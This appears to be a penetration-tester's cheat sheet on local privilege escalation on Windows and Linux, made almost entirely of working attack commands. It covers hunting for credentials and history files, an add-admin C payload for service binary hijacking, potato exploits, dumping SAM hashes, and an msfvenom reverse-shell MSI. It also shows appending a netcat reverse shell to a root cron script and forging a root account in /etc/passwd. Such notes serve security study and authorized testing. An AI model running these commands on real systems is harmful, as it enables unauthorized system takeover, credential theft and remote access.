Privilege escalation: Windows & Linux

Local escalation on both platforms — enumerate first, then walk the specific misconfigurations that hand you SYSTEM or root. Windows and Linux each get their own half; the enumeration step is where most wins actually come from.

#Windows: enumeration

whoami /priv                 # the privilege list decides everything below
whoami /groups
Get-LocalGroupMember Administrators
systeminfo                   # OS build → kernel exploit hunting
Get-Process
# installed software (both registry views)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

Hunt for loot and leaked history:

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\Dave -Include *.txt,*.pdf,*.xls,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

# PowerShell history often holds plaintext creds
(Get-PSReadlineOption).HistorySavePath
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Then let winPEAS / PowerUp find what you missed. Pull tools over with iwr -uri http://<kali>/winpeas.exe -Outfile winpeas.exe.

#Windows: service misconfigurations

Binary hijacking — a running service whose executable you can overwrite:

Get-CimInstance win32_service | Select Name,State,PathName | ? {$_.State -eq 'Running'}
icacls "C:\xampp\apache\bin\httpd.exe"      # look for (M)/(F) for your group

Replace the binary with one that adds an admin, then restart the service (needs SeShutdownPrivilege to reboot if you can't stop it directly):

// adduser.c → cross-compile: x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
int main(){ system("net user Bob Password123! /add");
            system("net localgroup administrators Bob /add"); return 0; }

# automated discovery
. .\PowerUp.ps1 ; Get-ModifiableServiceFile

Unquoted service paths — C:\Program Files\Enterprise Apps\svc.exe with no quotes lets you drop C:\Program Files\Enterprise.exe:

wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
icacls "C:\Program Files\Enterprise Apps"
. .\PowerUp.ps1 ; Get-UnquotedService
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"

DLL hijacking — find a missing DLL with Procmon, then drop your own compiled from a DllMain that runs net user … /add.

#Windows: privileges & policy

SeImpersonate (IIS/MSSQL service accounts) → a potato → SYSTEM:

whoami /priv
.\PrintSpoofer64.exe -i -c powershell.exe
.\SigmaPotato "net localgroup Administrators Bob /add"   # or Juicy/Rotten/Sweet potato

SeBackupPrivilege / SeRestorePrivilege — read the SAM + SYSTEM hives and pull hashes offline:

reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
reg save HKLM\SAM    C:\Windows\Temp\SAM
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

AlwaysInstallElevated — if both registry keys are 1, any MSI runs as SYSTEM:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<kali> LPORT=443 -f msi > shell.msi
msiexec /i shell.msi

Scheduled tasks — schtasks /query /fo LIST /v; if a task runs as a higher-priv user and you control its executable, replace it and wait.

#Linux: enumeration

id; hostname; uname -a; cat /etc/os-release
ps aux; ss -anp; ip a
ls -lah /etc/cron*; crontab -l; sudo crontab -l
find / -writable -type d 2>/dev/null
find / -perm -u=s -type f 2>/dev/null      # SUID binaries
cat /etc/fstab; lsblk                       # unmounted drives

Then automate: linpeas, linenum, unix-privesc-check standard.

#Linux: escalation paths

sudo — always the first check; misconfigured rules are the most common win:

sudo -l
sudo -i          # if (ALL:ALL) ALL, you're root
# specific allowed binaries → look them up on GTFOBins

SUID binaries & capabilities — both map to GTFOBins escapes:

find / -perm -u=s -type f 2>/dev/null
/usr/sbin/getcap -r / 2>/dev/null          # e.g. cap_setuid+ep on perl/python

Writable cron scripts — if a root cron job runs a script you can write, append a reverse shell:

grep CRON /var/log/syslog                  # spot the job
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <kali> 4242 >/tmp/f' >> backup.sh
# listener: rlwrap nc -nvlp 4242

Writable /etc/passwd — forge a root user with a known password:

openssl passwd w00t                        # generate the hash
echo 'bob:<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su bob

Credentials in the environment / on the wire:

env; cat ~/.bashrc
watch -n 1 "ps -aux | grep pass"           # creds passed on command lines
sudo tcpdump -i lo -A | grep pass          # creds on loopback

Kernel exploits as a last resort — fingerprint, then search:

uname -r; cat /etc/issue; arch
searchsploit "linux kernel <distro> <version> local privilege escalation"